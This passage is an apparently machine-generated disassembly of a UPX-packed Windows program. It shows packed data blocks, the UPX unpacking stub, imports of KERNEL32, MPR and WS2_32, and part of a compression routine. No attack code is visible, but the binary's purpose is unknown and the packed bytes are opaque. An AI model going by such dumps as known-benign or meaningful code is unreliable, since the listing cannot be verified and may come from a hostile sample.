		dd 42D08F5Dh, 1BA90940h, 0FF0B82B8h, 420C553h, 0B58141B4h
		dd 60F33483h, 0E7CB029h, 9B96A4A8h, 6A035A6h, 3A44989Ch
		dd 376C245Ch, 0E8E09B4h, 0EFF2443h, 0EE8428B1h,	0C9971A97h
		dd 498020C4h, 8F5BD6F6h, 12656253h, 78007F6Eh, 6D7CA940h
		dd 0C0C40B80h, 4B6141C8h, 651F0941h, 3EDB5480h,	8B27530Bh
		dd 76A264E7h, 0DF60C519h, 0E4204673h, 50227328h, 0AFF801C3h
		dd 60C58B54h, 4B8C96FDh, 3E032EC4h, 0AD429h, 72B2C2D1h
		dd 2952972Eh, 436F2C62h, 22CDB82Ch, 68BBAA07h, 1F110361h
		dd 0C979B72h, 49963503h, 506373D7h, 44DF1143h, 44B890BBh
		dd 6D60C704h, 3135B45Bh, 5B674D57h, 1985D312h, 1128C245h
		dd 4F88688Ah, 0A95557EFh, 638E4625h, 110E0008h,	248208D9h
		dd 0C71974DFh, 17688236h, 44238FE7h, 0C1724032h, 6E4843AAh
		dd 96881F93h, 9B750476h, 29670D97h, 0F7A7FC5h, 562C5578h
		dd 5900E5B8h, 45477186h, 965957DFh, 0BCEAD150h,	0A2FB404Dh
		dd 65321CC2h, 0AA30A773h, 588F244Ch, 20A8618Ch,	5B44E90Ch
		dd 1F02101h, 31975AFh, 5A6B6661h, 1F822859h, 694446Dh
		dd 3213C447h, 0A2968C6h, 5049F0Fh, 0A1933609h, 294976AFh
		dd 716689B4h, 19B0D397h, 54E331A3h, 0CB00A73h, 0A3A6B0D1h
		dd 304E82Dh, 2EB2F6Ch, 0E1651B41h, 315B9C83h, 6F7FEC4Dh
		dd 73800DABh, 0E243FF0Eh, 0FFB12FF9h, 2AA70241h, 364680Ch
		dd 0BF783040h, 0CA5310Fh, 0EB08404Fh, 8D340909h, 6FFF0140h
		dd 408B7CFEh, 3D08B3Ch,	784803CAh, 8B20418Bh, 1C5903DAh
		dd 69DB7C14h, 24575738h, 7981100Ch, 441320Ah, 4B0D27DFh
		dd 74031533h, 14C51B2Ch, 523B14D0h, 0D0209FC3h,	0FDDBCA0Dh
		dd 0A2C4B7D7h, 3F203F0h, 0E6774FAh, 71851B4Bh, 7524BE6h
		dd 0C093B418h, 0E8C47F33h, 1752917h, 71EE8C3h, 807C17F8h
		dd 0C34AEDA4h, 505D5B58h, 0FF54EC83h, 3D384027h, 8B40CF8Bh
		dd 0B0AAF3D7h, 84F1AB44h, 5257F126h, 0B1E5151h,	0DFFA1A55h
		dd 0C483A9A6h, 0C3C08554h, 0C30803B1h, 9CD92786h, 0D3206DC0h
		dd 9027F10Dh, 0B15B58C3h, 54825B2Eh, 173F061Dh,	27AD9875h
		dd 0EB7359BFh, 200417Ch, 0C81B3F7Dh, 8F176D0Eh,	3E98E601h
		dd 501A23B7h, 61087B6h,	4C43857Ah, 223BB532h, 4C202803h
		dd 48800F24h, 20841000h, 10803213h, 4320381h, 82100132h
		dd 2032042Ch, 0AABB7702h, 17E209Ah, 659A0E01h, 102E4833h
		dd 0D81403F8h, 3AD34D34h, 0D40E1D4Eh, 0D31BD01Ah, 0C8D34D34h
		dd 0B813C01Fh, 4D34D34Dh, 0A80EB021h, 4D34A00Dh, 980F34D3h
		dd 0D3059010h, 88D34D34h, 8012841Eh, 4D34D34Dh,	740C7C20h
		dd 4D346C0Bh, 641534D3h, 0D3195C1Ch, 54D34D34h,	44184C11h
		dd 4D34D34Dh, 34173C16h, 4D333022h, 2C2334D3h, 0D8012824h
		dd 0F07C8E4Eh, 0FFF8007Fh, 786D1FEFh, 14A36ECh,	44100F80h
		dd 7B04CC2Fh, 0D9302799h, 0E20741FDh, 0C1F67E1Ah, 41CA7C01h
		dd 2D092007h, 5DD65D0Dh, 43E37A8Ah, 0CE080402h,	57B0EDE4h
		dd 827982B6h, 0DFA62F21h, 0BDA5A10Fh, 81FCFC8Dh, 40FCE09Fh
		dd 5EA8807Eh, 0A3DAA3C1h, 111EDC83h, 0FFE815Fh,	41B7B540h
		dd 415F6086h, 0A2CFBEB6h, 215ECEE4h, 1AA2FFh, 0A2E8A2E5h
		dd 13A17E5Bh, 4AFE0551h, 0DA06DDFEh, 5FBFDA5Eh,	32DA6ADAh
		dd 0E0DED8D3h, 3B4D20F9h, 7E3173F9h, 2160601h, 0D8669A69h
		dd 18040F03h, 69A40D05h, 906A69Ah, 20080C07h, 91906C3h
		dd 0B00B370Ah, 0AE2EEF61h, 0AF0F0E76h, 79062710h, 611DA41h
		dd 35212E12h, 0C320C836h, 5043411Fh, 0D86D867h,	532F521Bh
		dd 82BF570Fh, 0A6868961h, 566D2F37h, 9A69A41Bh,	721C7020h
		dd 0D86C5F06h, 67800C10h, 3F820F81h, 320C10CDh,	911F8483h
		dd 8320D829h, 0A4A19E34h, 1821B0DFh, 3FB7A764h,	4EF33FCEh
		dd 17D7C30Eh, 1F050718h, 0A41901C0h, 161D00BDh,	90199604h
		dd 88D9A41h, 19018F8Eh,	91900190h, 9019018Ah, 2F039392h
		dd 19AA05DBh, 18C18C0Ah, 81F8A779h, 57423BE6h, 90F3AF4h
		dd 0A69A69A6h, 10A40AC8h, 69A6AA78h, 1248119Ah,	0A6BE1324h
		dd 0F8C9DA69h, 190EC039h, 0AED31A98h, 1B609A69h, 0EF81C28h
		dd 9A69A678h, 7938F065h, 58D07AE0h, 0FCB659DBh,	0FF93B08Eh
		dd 0A872E01Eh, 3C1B355Ah, 0F5B1010Fh, 5AE860D1h, 228F0201h
		dd 9768B602h, 15436501h, 112694F6h, 0A86BB218h,	7F35E60Ah
		dd 3FF5E40h, 74D5D20Dh,	0B6187681h, 1447F08h, 8016164Fh
		dd 0D4F1F070h, 0ACD0544Eh, 44500754h, 160ECB7Fh, 0A78F2C5Eh
		dd 0D5B12E06h, 161FFF65h, 155A69A6h, 5A063BCEh,	0B2CD9778h
		dd 0D4B59A69h, 300111F3h, 0D769A64Eh, 67016D36h, 7759063Ah
		dd 9AAA69DAh, 0D354B496h, 0DA2F4EF2h, 6D35547h,	0A0416C4Dh
		dd 0E4174002h, 0C8725E49h, 4008FA05h, 0E43F0C9Ch, 0C3509E49h
		dd 12F4240Fh, 16989680h, 21F93FCFh, 19BEBC20h, 1BC9BF04h
		dd 0FFA1348Eh, 0EDFFFFFFh, 0C21BCECCh, 20404ED3h, 70B59EF0h
		dd 0C5ADA82Bh, 0D040699Dh, 0E525FD5Dh, 194F8E1Ah, 0FF4083EBh
		dd 71FFFFFFh, 4395D796h, 298D050Eh, 0F9409EAFh,	0ED44A0BFh
		dd 818F1281h, 0BF40B982h, 0CFA6D53Ch, 0FF1F49FFh, 78BFFFFFh
		dd 0C66F4079h, 80E98CE0h, 93BA47C9h, 85BC41A8h,	3927556Bh
		dd 0E070F78Dh, 0DDBC427Ch, 0FFFFFFFFh, 9DF9DE8Eh, 0AA7EEBFBh
		dd 0E6A14351h, 0F2CCE376h, 81842F29h, 10284426h, 0AEF8AA17h
		dd 0C4C5E310h, 0FFFFFFFFh, 0A7EB44FAh, 0EBF7F3D4h, 957A4AE1h
		dd 0CC6545CFh, 0A60E91C7h, 0E319A0AEh, 650D46A3h, 81750C17h
		dd 0FFFFFFFFh, 0C9767586h, 42584D48h, 3993A7E4h, 0B2B8353Bh
		dd 0A74D53EDh, 0C53D5DE5h, 9E8B3B5Dh, 5DFF5A92h, 0FFFFFFFFh
		dd 20A1F0A6h, 8CA554C0h, 0FDD16137h, 0D88B5A8Bh, 0F9895D25h
		dd 95AA67DBh, 0BF27F3F8h, 0DD5DC8A2h, 0FFF8013Eh, 0C94C6E80h
		dd 8A20979Bh, 0C4605202h, 0CCCD2625h, 0EDFFBFFFh, 3FFB0103h
		dd 0D70A3D71h, 0F80870A3h, 3B645A3Fh, 978D4FDFh, 0FFFF126Eh
		dd 0F583FFFFh, 2CD3C33Fh, 58E21965h, 0F1D1B717h, 230FD03Fh
		dd 471B4784h, 0EEA7C5ACh, 0B6A6403Fh, 0FFFF6C69h, 5AFFFFFh
		dd 0EB8637BDh, 0BC3D333Fh, 0D5E57A42h, 0E7D6BF94h, 0FDFDC23Fh
		dd 118461CEh, 0E4ABCC77h, 0FFFF2F3Fh, 5B4CFFFFh, 0BEC44DE1h
		dd 0C9E69594h, 53C4923Fh, 0CD44753Bh, 0AF9ABE14h, 0BA67DE3Fh
		dd 0AD453994h, 0FFFFB11Eh, 94CFFFFFh, 0C623243Fh, 3BBABCE2h
		dd 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch, 2FEED73Fh
		dd 0FFFF068Dh, 92BEFDFFh, 44FB1585h, 0E9A53F47h, 0EA27A539h
		dd 3F2AA87Fh, 0E4A1AC7Dh
		dd 467C64BCh, 0FF55DDD0h, 3EFFFFFFh, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0FF974782h, 0B8FFFFFFh, 3BD7FD00h, 85888DCh,	0E3E8B11Bh
		dd 3B03A686h, 424584C6h, 7599B607h, 3A2EDB37h, 0FF1C7133h
		dd 0D2FFFFFFh, 0EE32DB23h, 395A9049h, 0C0BE87A6h, 82A5DA57h
		dd 32B5A2A6h, 11B268E2h, 449F52A7h, 0FF10B759h,	2CFFFFFFh
		dd 2DE44925h, 534F3436h, 256BCEAEh, 0A404598Fh,	7DC2DEC0h
		dd 1EC6E8FBh, 5A88E79Eh, 0FE3C9157h, 0BFFFFFBFh, 18228350h
		dd 62654B4Eh, 0AF8F83FDh, 117D9406h, 0CE9FDE5Bh, 0DD04C8D2h
		dd 120AD8A6h, 2E00D996h, 9C00071Ch, 4F564189h, 6069F40h
		dd 2E2FCD7Bh, 0E95B585Fh, 0F540A049h, 593F003Ah, 1794BFC2h
		dd 5F666F5Fh, 0D8D89492h, 1A7F4118h, 4E7685A1h,	4C318781h
		dd 5F7E142Dh, 449F3822h, 57ADB104h, 6235144h, 902A00A9h
		dd 20540150h, 40A802A1h, 81500542h, 2A00A84h, 5401409h
		dd 0A802812h, 15005024h, 2A00A148h, 54014290h, 0A8028420h
		dd 50050940h, 0A00A1281h, 40142402h, 80284805h,	50900Ah
		dd 0A12015h, 142402Ah, 2848154h, 50902A8h, 0A120550h, 14240AA0h
		dd 28481540h, 50902A80h, 0A1205400h, 4240A800h,	84815001h
		dd 902A002h, 12054005h,	240A800Ah, 48150014h, 0B4504728h
		dd 41700950h, 203FFFC0h, 4D010002h, 69567061h, 664F7765h
		dd 23ADA4B5h, 0F2B30112h, 4DA45DEEh, 1F336548h,	82069853h
		dd 568945C0h, 4457B8h, 414F6274h, 0DF01031h, 61727408h
		dd 0D911BB43h, 71411F57h, 0B1FC0192h, 7349AD64h, 10646142h
		dd 0E6ABB0ADh, 31B3F50h, 88277D69h, 6E55521Ah, 0CB0A16DBh
		dd 1D45643Ah, 412F76Ch,	386574D8h, 0A9B286E8h, 73F50104h
		dd 82DB005Dh, 4864C9FBh, 0C8E55F5Eh, 886D8AD0h,	0CD411F57h
		dd 7ABBB6D6h, 9075391Ah, 325EE015h, 103A2480h, 0D5836F62h
		dd 2F57738Bh, 40EC12C1h, 5F65D932h, 8080D431h, 6B2E4172h
		dd 3BB44096h, 840454A9h, 0F5F54C1Dh, 6221808h, 6F9601EBh
		dd 0CD550CC4h, 0E0706C53h, 0A70B5A68h, 0A1182C36h, 0C1EB490Ch
		dd 4802Bh, 0D06DC56Ch, 2D12BC04h, 0D87942DCh, 8C062EE1h
		dd 0B9646957h, 414B2D7h, 37FC38ACh, 20706ED8h, 59570135h
		dd 0F7002F4Fh, 61F80364h, 85C38A5h, 69530A65h, 28D2CB80h
		dd 5AC80308h, 9944BB82h, 0E020BA53h, 0F29525C2h, 935B0E18h
		dd 76455F19h, 203320Ch,	36FD2B16h, 80EED838h, 464827AAh
		dd 0B61847BEh, 0C4441BB1h, 266B831Fh, 9A117C98h, 137A6953h
		dd 13330E74h, 0C4657902h, 0E0C1B3B8h, 3C9E8D21h, 0B061B436h
		dd 3FE930DBh, 0FB6D2B16h, 1D419636h, 78654E73h,	3B7C1DA5h
		dd 0DF07B8F6h, 50D9531Fh, 88A696Fh, 4C315700h, 7602431Eh
		dd 0DA410248h, 5F093629h, 0C62B38C2h, 49980921h, 0DF71C2A5h
		dd 0C74135D0h, 9A17053h, 0B6D8DAB1h, 176AA766h,	919CE041h
		dd 0E409AA90h, 6F57471Dh, 1002B050h, 0ED6F3E6Dh, 5FED8F56h
		dd 8E961E6Bh, 8406E913h, 2715F080h, 0E98AE041h,	1DAEED56h
		dd 39F92397h, 21012B57h, 914D1878h, 5C04116Fh, 1D2F089Ah
		dd 126B1408h, 6B64CF75h, 0FEA9ED85h, 6010CB9Dh,	761ED1BBh
		dd 579060ACh, 1B6B0E01h, 175B174Ch, 6D275E01h, 0D28A5421h
		dd 0BD6D6DC2h, 2AE91509h, 0DB7076C0h, 0DB6D595h, 5B194776h
		dd 82630979h, 2A70704Ah, 8380533Fh, 3EA18051h, 0BAB070C9h
		dd 1AF1821Ch, 14ABD388h, 3B1D900Ch, 11456B65h, 0A10200CAh
		dd 80408032h, 8285B643h, 5F83531Dh, 643B703Ch, 9B3FB00h
		dd 33D21B01h, 5ED6A8CBh, 776E8DBBh, 0AA96C083h,	0C7AD81D1h
		dd 206D308h, 0ABAAF91h,	7999ED16h, 34D84905h, 619667DDh
		dd 0C93E7970h, 4C627C4Dh, 0E3041869h, 608C33EBh, 937699EDh
		dd 1435D5Bh, 82000DACh,	0A4F05D75h, 0F772DD56h,	0C7B80825h
		dd 40643265h, 3B44835Ah, 6F766084h, 6E520B40h, 0AAABEE81h
		dd 755728A3h, 77587400h, 974DD91Eh, 475A6124h, 0BA2DAEC1h
		dd 211A0D15h, 0D693CF3Ah, 0D36D1A2Dh, 0AD6C936h, 2271F56h
		dd 95577070h, 52AEA94Ch, 0C8934B60h, 867D0F8Ah,	520A36Dh
		dd 76964519h, 9835D34Ah, 708CB19h, 7EAA108Ch, 0DC02F441h
		dd 4C516AACh, 0AAF45043h, 1B3136C4h, 0D850436Fh, 87DB5D9Eh
		dd 0F174114h, 124D454Fh, 4227D00h, 0D4495794h, 0DE69B721h
		dd 853BDBAAh, 50BFFDCh,	96596596h, 2157374h, 9659010Dh
		dd 34165965h, 6B131009h, 12659659h, 40A1797h, 410DC050h
		dd 0C2E100F2h, 4CB606DFh, 59BE1F01h, 21334660h,	0E0FEE04Ch
		dd 0B010F00h, 42110601h, 6B41AF91h, 0D4620656h,	0AC2D0199h
		dd 230CB6Dh, 4141740h, 77770F67h, 0A018B647h, 0C1D43008h
		dd 0FE045052h, 0F6B6910h, 40E8BC0Dh, 42500002h,	304201BEh
		dd 0DE0228AFh, 2EB8020Ch, 1C16844Dh, 48D3415Bh,	5991810h
		dd 82E720h, 722E60BCh, 0B51BE6A7h, 0A76F358Bh, 0B11C1C00h
		dd 2C2E0440h, 4D97E59Bh, 636584Fh, 38014450h, 94FB30F3h
		dd 78732EC0h, 90561853h, 3EC5CAFBh, 4F037C44h, 43603602h
		dd 49249211h, 89806F8h,	50000000h, 0FF49h, 2 dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset dword_473000
		lea	edi, [esi-72000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_48B762
; ---------------------------------------------------------------------------
		align 8


loc_48B758:				; CODE XREF: UPX1:loc_48B769j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_48B75E:				; CODE XREF: UPX1:0048B80Aj
					; UPX1:0048B821j
		add	ebx, ebx
		jnz	short loc_48B769


loc_48B762:				; CODE XREF: UPX1:0048B750j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_48B769:				; CODE XREF: UPX1:0048B760j
		jb	short loc_48B758
		mov	eax, 1


loc_48B770:				; CODE XREF: UPX1:0048B79Aj
		add	ebx, ebx
		jnz	short loc_48B77B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_48B77B:				; CODE XREF: UPX1:0048B772j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_48B78C
		jnz	short loc_48B79C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jb	short loc_48B79C


loc_48B78C:				; CODE XREF: UPX1:0048B77Fj
		dec	eax
		add	ebx, ebx
		jnz	short loc_48B798
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_48B798:				; CODE XREF: UPX1:0048B78Fj
		adc	eax, eax
		jmp	short loc_48B770
; ---------------------------------------------------------------------------


loc_48B79C:				; CODE XREF: UPX1:0048B781j
					; UPX1:0048B78Aj
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_48B7B4
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_48B826
		sar	eax, 1
		mov	ebp, eax
		jmp	short loc_48B7BF
; ---------------------------------------------------------------------------


loc_48B7B4:				; CODE XREF: UPX1:0048B7A1j
		add	ebx, ebx
		jnz	short loc_48B7BF
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_48B7BF:				; CODE XREF: UPX1:0048B7B2j
					; UPX1:0048B7B6j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_48B7CC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_48B7CC:				; CODE XREF: UPX1:0048B7C3j
		adc	ecx, ecx
		jnz	short loc_48B7F0
		inc	ecx


loc_48B7D1:				; CODE XREF: UPX1:0048B7E0j
					; UPX1:0048B7EBj
		add	ebx, ebx
		jnz	short loc_48B7DC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_48B7DC:				; CODE XREF: UPX1:0048B7D3j
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_48B7D1
		jnz	short loc_48B7ED
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_48B7D1


loc_48B7ED:				; CODE XREF: UPX1:0048B7E2j
		add	ecx, 2


loc_48B7F0:				; CODE XREF: UPX1:0048B7CEj
		cmp	ebp, 0FFFFFB00h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_48B810


loc_48B801:				; CODE XREF: UPX1:0048B808j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_48B801
		jmp	loc_48B75E
; ---------------------------------------------------------------------------
		align 10h


loc_48B810:				; CODE XREF: UPX1:0048B7FFj
					; UPX1:0048B81Dj
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_48B810
		add	edi, ecx
		jmp	loc_48B75E
; ---------------------------------------------------------------------------


loc_48B826:				; CODE XREF: UPX1:0048B7ACj
		pop	esi
		mov	edi, esi
		mov	ecx, 0D75h


loc_48B82E:				; CODE XREF: UPX1:0048B835j
					; UPX1:0048B83Aj
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_48B833:				; CODE XREF: UPX1:0048B858j
		cmp	al, 1
		ja	short loc_48B82E
		cmp	byte ptr [edi],	12h
		jnz	short loc_48B82E
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_48B833
		lea	edi, [esi+89000h]


loc_48B860:				; CODE XREF: UPX1:0048B882j
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_48B8AB
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+8B000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+8B050h]
		xchg	eax, ebp


loc_48B87D:				; CODE XREF: UPX1:0048B8A3j
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_48B860
		mov	ecx, edi
		jns	short near ptr loc_48B88E+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_48B88E:				; CODE XREF: UPX1:0048B886j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+8B054h]
		or	eax, eax
		jz	short loc_48B8A5
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_48B87D
; ---------------------------------------------------------------------------


loc_48B8A5:				; CODE XREF: UPX1:0048B89Cj
		call	dword ptr [esi+8B058h]


loc_48B8AB:				; CODE XREF: UPX1:0048B864j
		popa
		jmp	_WinMainCRTStartup
; ---------------------------------------------------------------------------
		align 800h
UPX1		ends

; Section 3. (virtual address 0008C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 48C000h
		dd 3 dup(0)
		dd 8C070h, 4 dup(0)
		dd 8C07Dh, 4 dup(0)
		dd 8C085h, 6 dup(0)
		dd 0AA7295h, 0AA6865h, 0AA75EFh, 0AA7232h, 71B2ACCBh, 0AA7204h
		dd 71AB1A6Dh, 0AA7177h,	4E52454Bh, 32334C45h, 4C4C442Eh
		dd 52504D00h, 6C6C642Eh, 32535700h, 2E32335Fh, 6C6C64h
		dd 3DCh	dup(0)
UPX2		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 0008D000)
; Virtual size			: 00050000 ( 327680.)
; Section size in file		: 00050000 ( 327680.)
; Offset to raw	data for section: 0008D000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 48D000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+10h]
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_48D089
		add	esp, 0Ch
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_48D2A6
		add	esp, 0Ch
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_48D396
		add	esp, 0Ch
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		mov	eax, [ebp-4]
		push	eax
		call	sub_48EAE0
		add	esp, 10h
		mov	ecx, [ebp-4]
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	al, 1
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_48D089(void *Src,int,int)

sub_48D089	proc near		; CODE XREF: .text:0048D027p
					; .text:0048D4A8p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+Src]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_10]
		add	eax, [edx]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_18]
		lea	ecx, [eax+edx-2]
		mov	[ebp+var_C], ecx
		mov	byte ptr [ebp+var_4], 0FFh
		mov	byte ptr [ebp+var_14], 1
		mov	edx, [ebp+var_18]
		mov	byte ptr [edx],	1
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_48D0CC:				; CODE XREF: sub_48D089:loc_48D254j
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_8]
		jnb	loc_48D259
		mov	edx, [ebp+var_10]
		add	edx, 2
		cmp	edx, [ebp+var_8]
		jnb	loc_48D1E2
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_4]
		and	edx, 0FFh
		cmp	ecx, edx
		jnz	loc_48D1E2
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_4]
		and	edx, 0FFh
		cmp	ecx, edx
		jnz	loc_48D1E2
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+2]
		mov	edx, [ebp+var_4]
		and	edx, 0FFh
		cmp	ecx, edx
		jnz	loc_48D1E2
		mov	[ebp+var_20], 3
		mov	eax, [ebp+var_10]
		add	eax, 3
		mov	[ebp+var_1C], eax


loc_48D141:				; CODE XREF: sub_48D089+E6j
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [ebp+var_8]
		jnb	short loc_48D171
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFh
		cmp	eax, ecx
		jnz	short loc_48D171
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_48D141
; ---------------------------------------------------------------------------


loc_48D171:				; CODE XREF: sub_48D089+BEj
					; sub_48D089+D2j ...
		cmp	[ebp+var_20], 3
		jb	short loc_48D1D7
		cmp	[ebp+var_20], 101h
		jbe	short loc_48D189
		mov	[ebp+var_28], 101h
		jmp	short loc_48D18F
; ---------------------------------------------------------------------------


loc_48D189:				; CODE XREF: sub_48D089+F5j
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_28], ecx


loc_48D18F:				; CODE XREF: sub_48D089+FEj
		mov	edx, [ebp+var_28]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_18]
		mov	byte ptr [eax],	0FFh
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 3
		mov	eax, [ebp+var_18]
		mov	[eax], dl
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_20]
		sub	edx, [ebp+var_24]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_C]
		jb	short loc_48D1D5
		mov	byte ptr [ebp+var_14], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		jmp	short loc_48D1D7
; ---------------------------------------------------------------------------


loc_48D1D5:				; CODE XREF: sub_48D089+13Ej
		jmp	short loc_48D171
; ---------------------------------------------------------------------------


loc_48D1D7:				; CODE XREF: sub_48D089+ECj
					; sub_48D089+14Aj
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		jmp	short loc_48D254
; ---------------------------------------------------------------------------


loc_48D1E2:				; CODE XREF: sub_48D089+58j
					; sub_48D089+70j ...
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 0FFh
		jnz	short loc_48D222
		mov	edx, [ebp+var_18]
		mov	byte ptr [edx],	0FFh
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	byte ptr [ecx],	0FFh
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_4], cl
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_48D246
; ---------------------------------------------------------------------------


loc_48D222:				; CODE XREF: sub_48D089+166j
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_18]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_4], cl
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_48D246:				; CODE XREF: sub_48D089+197j
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_C]
		jb	short loc_48D254
		mov	byte ptr [ebp+var_14], 0
		jmp	short loc_48D259
; ---------------------------------------------------------------------------


loc_48D254:				; CODE XREF: sub_48D089+157j
					; sub_48D089+1C3j
		jmp	loc_48D0CC
; ---------------------------------------------------------------------------


loc_48D259:				; CODE XREF: sub_48D089+49j
					; sub_48D089+1C9j
		mov	edx, [ebp+var_14]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_48D294
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx		; Size
